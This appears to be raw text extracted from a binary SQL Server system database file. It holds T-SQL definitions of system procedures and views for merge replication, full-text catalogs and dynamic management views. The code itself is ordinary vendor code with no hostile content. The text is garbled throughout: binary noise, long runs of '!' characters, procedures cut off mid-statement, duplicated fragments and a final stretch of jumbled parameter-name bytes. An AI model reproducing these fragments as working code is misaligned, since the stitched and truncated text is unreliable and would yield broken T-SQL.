0@ 8create procedure sys.sp_MSFixSubColumnBitmaps
        @artid uniqueidentifier,
        @bm varbinary(128)
as
    declare @missing_col_count int
    declare @retcode int

    -- Security check
    if 1 <> is_member('db_owner')
    begin    
        RAISERROR (15247, 11, -1)
        return (1)
    end

    exec @retcode= sys.sp_MSBitmapCount
                    @bm1= @bm,
                    @count= @missing_col_count output

    update dbo.sysmergearticles 
        set     missing_cols         = @bm, 
            missing_col_count     = @missing_col_count
    where artid = @artid

    return (0)
0 8
create procedure sys.sp_MSCheckmergereplication
AS
	SET NOCOUNT ON
	declare @category int
	declare @db_name sysname

	select @db_name=db_name()
	select @category=category FROM master.dbo.sysdatabases WHERE name = @db_name collate database_default
	if @category & 4 = 0
		begin
			raiserror(21147, 16, -1, @db_name)
			return (1)
		end
	return (0)	
0R 8create procedure sys.sp_dropmergepartition (
        @publication sysname,
        @suser_sname sysname,
        @host_name sysname) 
AS
begin
    declare @retcode int
    declare @pubid uniqueidentifier
    declare @partition_id int
    declare @pub_number smallint
    declare @dynamic_snapshot_jobname sysname
    declare @dynamic_filters bit

    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1
        
    select @pubid = pubid, @dynamic_filters = dynamic_filters, @pub_number = publication_number from dbo.sysmergepublications     
                where name = @publication and
                    UPPER(publisher) = UPPER(publishingservername()) and
                    publisher_db = db_name()
    if @pubid is NULL
    begin
        raiserror (20026, 11, -1, @publication)
        return (1)
    end
    
    -- The given publication must be enabled for dynamic filtering
    if @dynamic_filters <> 1
    begin
        raiserror(20674, 16, -1)
        return (1)
    end
    
    if @suser_sname is NULL or ltrim(rtrim(@suser_sname)) = N''
        select @suser_sname = NULL
    if @host_name is NULL or ltrim(rtrim(@host_name)) = N''
        select @host_name = NULL
        
    exec @retcode = sys.sp_MScheck_dynamic_filtering_information 
                        @pubid = @pubid, 
                        @dynamic_filter_login = @suser_sname,
                        @dynamic_filter_hostname = @host_name
    if @@error <> 0 or @retcode <> 0
    begin
        return 1
    end

    exec @retcode = sys.sp_MSget_subscriber_partition_id 
                        @publication,
                        @partition_id output,
                        NULL,
                        @host_name,
                        @suser_sname
    if @@error <> 0 or @retcode <> 0
        return 1

    if @partition_id is NULL
        return 0

    select @dynamic_snapshot_jobname = name from dbo.MSdynamicsnapshotjobs where partition_id = @partition_id
    if (@dynamic_snapshot_jobname is not NULL)
    begin
        exec @retcode = sys.sp_dropdynamicsnapshot_job @publication, @dynamic_snapshot_jobname
    end

    -- delete the dynamic snapshot files
    exec @retcode = sys.sp_MSclear_dynamic_snapshot_location @publication, @partition_id, 1

    delete from MSmerge_current_partition_mappings where partition_id = @partition_id and publication_number = @pub_number
    delete from MSmerge_past_partition_mappings where partition_id = @partition_id and publication_number = @pub_number
    delete from MSmerge_generation_partition_mappings where partition_id = @partition_id
    delete from MSmerge_partition_groups where partition_id = @partition_id

    return 0
end
a), '') + '.' + quotename(@procedure_name)))
        and
        (
            @parameter_name is null or
            (@parameter_name = '@RETURN_VALUE' and s_pprv.type in ('P', 'PC')) or
            (@parameter_name = '@TABLE_RETURN_VALUE' and s_pprv.type <> 'P' and s_pprv.type <> 'PC')
        )
        and
        (
            @group_number is null or
            (s_pprv.procedure_number = 0             and s_pprv.type in ('FN', 'TF', 'IF')) or
            (s_pprv.procedure_number = @group_number and s_pprv.type in ('P', 'PC'))
        )

)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
f`i<2
K0a E8
create procedure sys.sp_table_types
(
    @table_name         nvarchar(384)   = null,
    @table_owner        nvarchar(384)   = null,
    @table_qualifier    sysname = null,
    @table_type         varchar(100) = null,
    @fUsePattern        bit = 1
)
as
    -- @table_type and @fUsePattern are intentionally unused parameters
    -- so that the procedure parameters for sp_table_types match the
    -- parameters for sp_tables.
    --
    if @table_qualifier is not null
    begin
        if db_name() <> @table_qualifier
        begin
            if @table_qualifier = ''
            begin  -- If empty qualifier supplied, force an empty result set.
                select @table_name = ''
                select @table_owner = ''
            end
            else
            begin   -- If qualifier doesn't match current database.
                raiserror (15250, -1,-1)
                return
            end
        end
    end
    select @table_qualifier = null -- it's not needed anymore

    select
        TABLE_QUALIFIER = convert(sysname,db_name()),
        TABLE_OWNER     = convert(sysname,schema_name(tt.schema_id)),
        TABLE_NAME      = convert(sysname,tt.name),
        TABLE_TYPE      = convert(varchar(32),'TABLE TYPE'),
        REMARKS = convert(varchar(254),null)    -- Remarks are NULL.
    from
        sys.table_types tt

    where
        (@table_name  is NULL or tt.name like @table_name) and
        (@table_owner is NULL or schema_name(tt.schema_id) like @table_owner)
    order by 4, 1, 2, 3
0s+ 8create function sys.fn_replprepadbinary8 (
    @varbinary8_value varbinary(8)
    ) returns binary(8)
as
begin
    declare @padded_value binary(8)
    select @padded_value = 
        substring(0x0000000000000000, 
                  1, 
                  8 - datalength(@varbinary8_value)) 
        + @varbinary8_value
    return @padded_value
end
0c@ 8create procedure sys.sp_MSsetcontext_bypasswholeddleventbit @onoff bit -- 1 to turn on
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_first_byte binary(1)
    declare @bitmask tinyint
    declare @retcode int

    /*
    ** Security Check
    */
    EXEC @retcode = sys.sp_MSreplcheck_subscribe_withddladmin
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)
    
    -- bit to set: snapshot=1, logreader=2, distrib=4, merge=8, 
    -- replication_agent=16, merge_identityrange_alterconstraint=32
    -- merge_bypasswholeddleventbit=64
    if @onoff=1
        set @bitmask=64
    else
        set @bitmask=255-64
    
    -- get the current context_info. remember we only want to modify a bit without changing the rest of the info
    select @cur_context = isnull(context_info(),0x00)
    
    -- get the first byte out. the replication agent flags are set in the first byte.
    select @cur_context_first_byte = substring(@cur_context, 1, 1)
    -- set the appropriate bit in this one byte (leaving other bits unchanged).
    if @onoff=1
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) | @bitmask)
    else
        select @cur_context_first_byte = (convert(tinyint,@cur_context_first_byte) & @bitmask)
        
    -- replace the first byte of the 128 byte binary variable, so that now it has the appropriate bit set.
    select @cur_context = convert(varbinary(128),stuff (@cur_context, 1, 1, @cur_context_first_byte))
    -- set the context_info again with the new binary(128) value.
    set context_info @cur_context
    
    if @@error <> 0
        return 1
        
    return 0
end
0~@ 8CREATE view sys.dm_repl_tranhash
as
	SELECT 
		[buckets]
		,[hashed_trans]
		,[completed_trans]
		,[compensated_trans]
		,[first_begin_lsn]
		,[last_commit_lsn]
	FROM OpenRowset(TABLE DM_REPL_TRANHASH)
0 A8create procedure sys.sp_MSset_timestamp_bm
    @timestampbm varbinary(500) output,
    @objid int
as
begin
    declare @previouscolid smallint
    declare @colid smallint
    declare @columnordinal smallint
    
    set @timestampbm= 0x00

    if exists (select * from sys.columns where object_id = @objid and
                                               system_type_id = type_id('timestamp'))
    begin
        set @columnordinal= 0
        set @previouscolid= -1
        
        while (1=1)
        begin
            set @columnordinal= @columnordinal + 1
            
            set @colid= (select min(column_id) from sys.columns 
                            where object_id = @objid and 
                                  column_id > @previouscolid)
        
            if @colid is null
                break
        
            set @previouscolid= @colid
        
            if 'timestamp' = (select type_name(system_type_id) from sys.columns
                                where object_id = @objid and column_id = @colid)
            begin
                -- Use @colid for the @coltoadd parameter, not @columnordinal,
                -- because columns_updated() also behaves like this.
                exec sys.sp_MSsetbit @bm= @timestampbm output,
                                     @coltoadd= @colid,
                                     @toset= 1

                -- A table has at most one timestamp column.
                break
            end
        end
    end

    return 0
end

checkpoint
0 8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MSsetup_function_list_table (@pubid uniqueidentifier) as
begin
    declare @dynamic_filters_function_list nvarchar(500), @dynamic_filters bit

    select @dynamic_filters_function_list = dynamic_filters_function_list,
    @dynamic_filters = dynamic_filters
    from dbo.sysmergepublications
    where pubid = @pubid

    if @dynamic_filters = 1 and @dynamic_filters_function_list is not null and rtrim(ltrim(@dynamic_filters_function_list)) <> ' '
    begin
        insert into #list_of_functions (function_name_with_parens, function_name_without_parens) 
        select name, name from sys.columns
        where object_id = OBJECT_ID('dbo.MSmerge_partition_groups')

        -- replace the _FN suffix by ()
        update #list_of_functions set function_name_with_parens = stuff (function_name_with_parens, (datalength(function_name_with_parens)/2) - 2, 3, '()')
        update #list_of_functions set function_name_without_parens = stuff (function_name_without_parens, (datalength(function_name_without_parens)/2) - 2, 3, '')
    
        delete from #list_of_functions 
        where REPLACE(REPLACE(REPLACE(REPLACE(UPPER(@dynamic_filters_function_list collate SQL_Latin1_General_CP1_CS_AS), char(0x20),''), char(0x09),''), char(0x0D),''), char(0x0A),'')
        not like UPPER('%' + function_name_with_parens + '%')
        
        insert into #list_of_functions (function_name_with_parens, function_name_without_parens) 
        select db_name() + '.' + function_name_with_parens, function_name_without_parens
        from #list_of_functions
        
        -- Note that if the dbo.MSmerge_partition_groups has suser_name_fn and user_name_fn, and this particular publication only
        -- uses user_name(), we will erroneously also leave suser_name() in the temp table. But that is not a problem since we won't 
        -- find any table that has that function in its filter.

    end

    return 0

end
like this.
                exec sys.sp_MSsetbit @bm= @timestampbm output,
                                     @coltoadd= @colid,
                                     @toset= 1

                -- A table has at most one timestamp column.
                break
            end
        end
    end

    return 0
end

checkpoint
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-&`3<q<n40_ 8
create procedure sys.sp_provider_types_100_rowset
(
    @data_type  smallint = null,
    @best_match tinyint  = null
)
as
    select
        TYPE_NAME           = s_ptv.TYPE_NAME,
        DATA_TYPE           = s_ptv.DATA_TYPE, -- Used by Katmai clients
        COLUMN_SIZE         = s_ptv.COLUMN_SIZE,
        LITERAL_PREFIX      = s_ptv.LITERAL_PREFIX,
        LITERAL_SUFFIX      = s_ptv.LITERAL_SUFFIX,
        CREATE_PARAMS       = s_ptv.CREATE_PARAMS,
        IS_NULLABLE         = s_ptv.IS_NULLABLE,
        CASE_SENSITIVE      = s_ptv.CASE_SENSITIVE,
        SEARCHABLE          = s_ptv.SEARCHABLE,
        UNSIGNED_ATTRIBUTE  = s_ptv.UNSIGNED_ATTRIBUTE,
        FIXED_PREC_SCALE    = s_ptv.FIXED_PREC_SCALE,
        AUTO_UNIQUE_VALUE   = s_ptv.AUTO_UNIQUE_VALUE,
        LOCAL_TYPE_NAME     = s_ptv.LOCAL_TYPE_NAME,
        MINIMUM_SCALE       = s_ptv.MINIMUM_SCALE,
        MAXIMUM_SCALE       = s_ptv.MAXIMUM_SCALE,
        GUID                = s_ptv.GUID,
        TYPELIB             = s_ptv.TYPELIB,
        VERSION             = s_ptv.VERSION,
        IS_LONG             = s_ptv.IS_LONG,
        BEST_MATCH          = s_ptv.BEST_MATCH,
        IS_FIXEDLENGTH      = s_ptv.IS_FIXEDLENGTH
    from
        sys.spt_provider_types_view s_ptv
    where
        (@data_type is null or s_ptv.DATA_TYPE = @data_type) and
        (@best_match is null or s_ptv.BEST_MATCH = @best_match)
    order by 2
0@ib@ 8CREATE VIEW sys.dm_os_worker_local_storage AS
	SELECT *
	FROM OpenRowSet(TABLE SYSWORKERTLS)
0-+e 8 
-- add it
create view sys.dm_pdw_nodes_db_partition_stats as
select *, convert(int, null) pdw_node_id from sys.dm_db_partition_stats
0~a \8Y4
h>8^.m0Ůb@ 8create procedure sys.sp_MSsetupbelongs_withoutviewproc
    @publisher          sysname,
    @publisher_db       sysname,
    @publication        sysname,
    @artnick            int
AS
    declare @temp_id int
    declare @artnickstr nvarchar(10)
    declare @retval int
    declare @tablenick int
    declare @rowguid uniqueidentifier
    declare @rowguidstr nvarchar(40)
    declare @partchangegen bigint
    declare @retcode smallint
    
    set @artnickstr = convert(nchar(10), @artnick)

    delete from #temp_cont

    if exists(select * from #genlist)
    begin
        exec ('insert into #temp_cont (tablenick, rowguid, partchangegen) 
                select tablenick, rowguid, partchangegen from dbo.MSmerge_contents where
                tablenick  = ' + @artnickstr + ' and generation in (select generation from #genlist)')
        if @@ERROR <>0
        begin
            return (1)
        end 
    end
    
    set @temp_id = 0
    select @temp_id = min(temp_id) from #temp_cont where temp_id > @temp_id
    while (@temp_id is not null)
    begin
        select  @tablenick = tablenick, @rowguid = rowguid,
                @partchangegen = partchangegen
                from #temp_cont where temp_id = @temp_id
        set @rowguidstr = '''' + convert(nchar(36), @rowguid) + ''''
        exec @retcode = sys.sp_MSbelongs @publisher, @publisher_db, @publication, @tablenick, @rowguid, @retval output, 0
        if @@ERROR<>0 OR @retcode <>0
        begin
            return (1)
        end

        if @retval = 1
        begin
            insert into #belong (tablenick, rowguid, flag, skipexpand, partchangegen) values
                    (@artnick, @rowguid, 0, 0, @partchangegen)
            if @@ERROR <>0 
            begin
                return (1)
            end
        end
        select @temp_id = min(temp_id) from #temp_cont where temp_id > @temp_id
    end

    return 0
                                  NULL) rtp
        order by 1, 2, 3, 6
    end
    else
    begin
        /* -- Debug output, do not remove it.
        print '*************'
        print 'THERE IS pattern matching!'
        print @fUsePattern
        print isnull(@table_name, '@table_name = null')
        print isnull(@table_schema, '@table_schema = null')
        print '*************'
        */
        select
            TABLE_CAT       = rtp.TABLE_CATALOG,
            TABLE_SCHEM     = rtp.TABLE_SCHEMA,
            TABLE_NAME      = rtp.TABLE_NAME,
            GRANTOR         = rtp.GRANTOR,
            GRANTEE         = rtp.GRANTEE,
            PRIVILEGE       = rtp.PRIVILEGE_TYPE,
            IS_GRANTABLE    = case rtp.IS_GRANTABLE
                                when 1 then 'YES'
                                when 0 then 'NO'
                                else null
                              end
        from
            sys.fn_remote_table_privileges (@table_server,
                                            @table_catalog,
                                            NULL,
                                            NULL,
                                            NULL,
                                            NULL) rtp
        where
            (TABLE_SCHEMA like @table_schema or
             @table_schema is NULL or
             (TABLE_SCHEMA is NULL and @table_schema = N'%')) and
            (TABLE_NAME like @table_name or @table_name is NULL)
        order by 1, 2, 3, 6
    end
0ie@ 18create procedure sys.sp_MSrepl_copysnapshot
(
    @publication        sysname,
    @destination_folder nvarchar(255),
    @subscriber         sysname,
    @subscriber_db      sysname,
    @publisher            sysname
)
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @retcode       int
    DECLARE @source_folder nvarchar(255)
    SELECT @retcode = 0
    
    -- Set publisher to be case insensitive by using UPPERCASE
    SELECT    @publisher = UPPER(@publisher)

    -- security check, db_owner
    EXEC @retcode = dbo.sp_MSreplcheck_publish
    IF @@ERROR <> 0 or @retcode <> 0
        return (1)

    CREATE TABLE #snapshot_folders
    (
        id              int identity,
        snapshot_folder nvarchar(255) collate database_default
    )
    IF @@ERROR <> 0
    BEGIN
        RETURN 1
    END

    INSERT INTO #snapshot_folders
    EXEC @retcode = sys.sp_browsesnapshotfolder @publication    = @publication,
                                                @subscriber        = @subscriber,
                                                @subscriber_db    = @subscriber_db,
                                                @publisher        = @publisher
    IF @retcode <> 0 OR @@ERROR <> 0
    BEGIN
        GOTO Failure
    END

    SELECT @source_folder = (select top 1 snapshot_folder FROM #snapshot_folders ORDER BY id)
    IF @@ERROR <> 0
    BEGIN
        GOTO Failure
    END        
    SET ROWCOUNT 0

    EXEC @retcode = sys.sp_MScopysnapshot @source_folder,
                                          @destination_folder
    IF @retcode <> 0 OR @@ERROR <> 0 
    BEGIN
        GOTO Failure
    END

    DROP TABLE #snapshot_folders
    RETURN 0
Failure:
    SET ROWCOUNT 0
    DROP TABLE #snapshot_folders        
    RETURN 1
END
0~a \8Y4
h>8^.m!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!N#N`
<"hA-	:0Af 8create procedure sys.sp_help_fulltext_catalogs
	@fulltext_catalog_name		sysname = NULL		-- full-text catalog name
as
	-- FULLTEXT MUST BE ACTIVE IN DATABASE --
	if DatabasePropertyEx(db_name(), 'IsFulltextEnabled') = 0
	begin
		raiserror(15601,-1,-1)
		return 1
	end

	-- CATALOG MUST EXIST IF SPECIFIED --
	if @fulltext_catalog_name is not null
	begin
		declare @ftcatid smallint
		select @ftcatid = fulltext_catalog_id from sys.fulltext_catalogs where name = @fulltext_catalog_name
		if @ftcatid is null
		begin
			declare @curdbname sysname
			declare @curdbnamelen int
			select @curdbname = db_name()
			select @curdbnamelen = LEN(@curdbname)
			raiserror(7641,-1,-1,@fulltext_catalog_name, @curdbnamelen, @curdbname)
			return 1
		end
	end

	-- SELECT ANY ROWS THAT MEET THE CRITERIA --
	select CAT.fulltext_catalog_id as ftcatid,
	       CAT.name as NAME,
		   isnull(sysfs.physical_name, CAT.path) as PATH,
		   FullTextCatalogProperty(CAT.name, 'PopulateStatus') AS STATUS ,
		   (select COUNT(*)
			  from sys.fulltext_indexes
			  where fulltext_catalog_id = CAT.fulltext_catalog_id
		   ) as NUMBER_FULLTEXT_TABLES
	from sys.fulltext_catalogs as CAT left outer join sys.database_files as sysfs on (sysfs.file_id = CAT.file_id)
	where ( @fulltext_catalog_name is null or CAT.name = @fulltext_catalog_name )
	order by fulltext_catalog_id
	
	-- SUCCESS --
	return 0	-- sp_help_fulltext_catalogs
0C 
8
CREATE PROCEDURE sys.sp_MShelp_profile (        
    @agent_id   int,
    @agent_type int,
    @profile_name sysname = NULL
)
as
    declare @profile_id int
    declare @snapshot_type int
    declare @logreader_type int
    declare @distribution_type int
    declare @merge_type int
    declare @qreader_type int
    declare @retcode int

    select @snapshot_type = 1
    select @logreader_type = 2
    select @distribution_type = 3
    select @merge_type = 4
    select @qreader_type = 9

    -- Security check.  'db_owner', 'replmonitor', or in the PAL of any publication
    -- that makes use of this distribution database.
    exec @retcode = sys.sp_MSrepl_DistDBPALAccess
    if @retcode <> 0 or @@error <> 0
    BEGIN
        DECLARE @login sysname
        SET @login = suser_sname()
        RAISERROR(21672, 16, -1, @login) 
        return 1
    END

    select @profile_id = NULL

    if (@profile_name is not null) and (rtrim(ltrim(@profile_name)) <> '')
    begin
        select @profile_id = profile_id from msdb..MSagent_profiles where
            agent_type = @agent_type and profile_name = @profile_name

		/* raise error if profile not found */
		if (@profile_id is null)
		begin
			raiserror(21123, 16, -1, @profile_name)
			return (1)
		end
    end
    
    -- if profile name not specified, use default.
    if (@profile_id is null)
    begin
        if @agent_type = @snapshot_type 
        begin
            if @agent_id = 0
                select @profile_id = profile_id from msdb..MSagent_profiles where
                    agent_type = @agent_type and def_profile = 1
            else
                select @profile_id = profile_id from MSsnapshot_agents
                    where id = @agent_id
        end
        else if @agent_type = @logreader_type
        begin
            if @agent_id = 0
                select @profile_id = profile_id from msdb..MSagent_profiles where
                    agent_type = @agent_type and def_profile = 1
            else
                select @profile_id = profile_id from MSlogreader_agents
                    where id = @agent_id
        end
        else if @agent_type = @distribution_type
        begin
            if @agent_id = 0
                select @profile_id = profile_id from msdb..MSagent_profiles where
                    agent_type = @agent_type and def_profile = 1
            else
                select @profile_id = profile_id from MSdistribution_agents
                    where id = @agent_id
        end
        else if @agent_type = @merge_type
        begin
            if @agent_id = 0
                select @profile_id = profile_id from msdb..MSagent_profiles where
                    agent_type = @agent_type and def_profile = 1
            else
                select @profile_id = profile_id from dbo.MSmerge_agents
                    where id = @agent_id
        end
        else if @agent_type = @qreader_type
        begin
            if @agent_id = 0
                select @profile_id = profile_id from msdb..MSagent_profiles where
                    agent_type = @agent_type and def_profile = 1
            else
                select @profile_id = profile_id from MSqreader_agents
                    where id = @agent_id
        end
    end
    
    select profile_id, parameter_name, value 
        from msdb..MSagent_parameters
        where profile_id = @profile_id
0B D86\h1	 = s_pprv.DESCRIPTION,
        TYPE_NAME                   = s_pprv.TYPE_NAME,
        LOCAL_TYPE_NAME             = s_pprv.LOCAL_TYPE_NAME

    from
        sys.spt_procedure_params_return_values_view s_pprv

    where
        (@procedure_schema is null or schema_id(@procedure_schema) = s_pprv.schema_id) and
        (
            @parameter_name is null or
            (@parameter_name = '@RETURN_VALUE' and s_pprv.type in ('P', 'PC')) or
            (@parameter_name = '@TABLE_RETURN_VALUE' and s_pprv.type <> 'P' and s_pprv.type <> 'PC')
        )

    order by 2, 3, 5
0U} 8CREATE VIEW sys.dm_exec_background_job_queue AS
	SELECT *
	FROM OpenRowSet(TABLE DM_EXEC_BACKGROUND_JOB_QUEUE)
01 D8&h20 P8h>YIs%`	&)D	u69{p5.@datalogical1669{p,@datalogical269{p,@datalogical369{p,@datalogical469{p,@datalogical569{p,@datalogical669{p,@datalogical769{p,@datalogical869{p ,@datalogical969{p	.@dataphysical169{p$0@dataphysical1069{p'0@dataphysical1169{p*0@dataphysical1269{p-0@dataphysical1369{p00@dataphysical1469{p30@dataphysical1569{p60@dataphysical1669{p.@dataphysical269{p.@dataphysical369{p.@dataphysical469{p.@dataphysical569{p.@dataphysical669{p.@dataphysical769{p.@dataphysical869{p!.@dataphysical969{p
&@datasize169{p%(@datasize1069{p((@datasize1169{p+(@datasize1269{p.(@datasize1369{p1(@datasize1469{p4(@datasize1569{p7(@datasize1669{p
&@datasize269{p&@datasize369{p&@datasize469{p&@datasize569{p&@datasize669{p&@datasize769{p&@datasize869{p"&@datasize969{p @dbname69{p(@loglogical69{p*@logphysical69{p"@logsize69{p(@syslogical69{p*@sysphysical69{p"@syssize6#stHallocated_extent_page_count6#st(database_id6#st file_id6#st*filegroup_id6#st	Xinternal_object_reserved_page_count6#st
@mixed_extent_page_count6#st2total_page_count6#stLunallocated_extent_page_count6#stPuser_object_reserved_page_count6#stTversion_store_reserved_page_count6opBconfigured_replica_count6op"group_id6op6local_replica_role6op0primary_replica6,@TextPtrValue6{(database_id6{&execute_as6{.procedure_name6{"queue_id6{spid6_$@accuracy6_(@index_name6_&@is_unique6_(@table_name6_*@table_owner6_2@table_qualifier6"dns_name6"group_id6Zip_configuration_string_from_cluster6,is_conformant6(listener_id6port6(database_id68last_activated_time6>last_empty_rowset_time6"queue_id6state6,tasks_waiting6<conversation_group_id6`v8@qual_source_object6`v@pubid6`v(@columnName6`v8@column_change_type61o|@pubid61o|@role6ԭ*@publication6ԭ@mode6ԭ&@publisher6 domain6 login6 &@win_login6E0@from_scripting6**@publication6*&@publisher6*&@usesqlclr6@pubid6,@publisher_id6,@publisher_db6*@publication60@publication_id6~&@publisher6~ @topNum6~6@exclude_anonymous6&@publisher6,@publisher_db6*@publication6"@article6$@max_used6&@publisher6,@publisher_db6*@publication64@publication_type6:@thresholdmetricname6L@mode6L$@agent_id6L(@agent_type6L(@session_id6L2@sequence_number6L0@monitor_server6L$@database6L$@log_time6L	,@log_time_utc6L
"@message6L @source6L$@help_url6*@publication6<@dynamic_filter_login6V@dynamic_snapshot_views_table_name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~84PR6v\4

j
8

tvZ8
Ht:^8Tv`*
"\8b> @pr
"
		d		R0jJ$f@zR*R$l<|Lj>`	)*62%.SORT_BOOKMARKS62%STATUS62%,TABLE_CATALOG62%&TABLE_NAME62%*TABLE_SCHEMA62%TYPE62%
UNIQUE6!3"affinity6!3(boost_count6!3
:context_switch_count6!3(end_quantum6!34exception_address6!3,exception_num6!36exception_severity6!3,fiber_address6!36is_fatal_exception6!3"is_fiber6!36is_in_cc_exception6!3	Xis_in_polling_io_completion_routine6!30is_inside_catch6!3,is_preemptive6!3 is_sick6!3.last_wait_type6!3(max_quantum6!3!<memory_object_address6!3&(pdw_node_id6!3
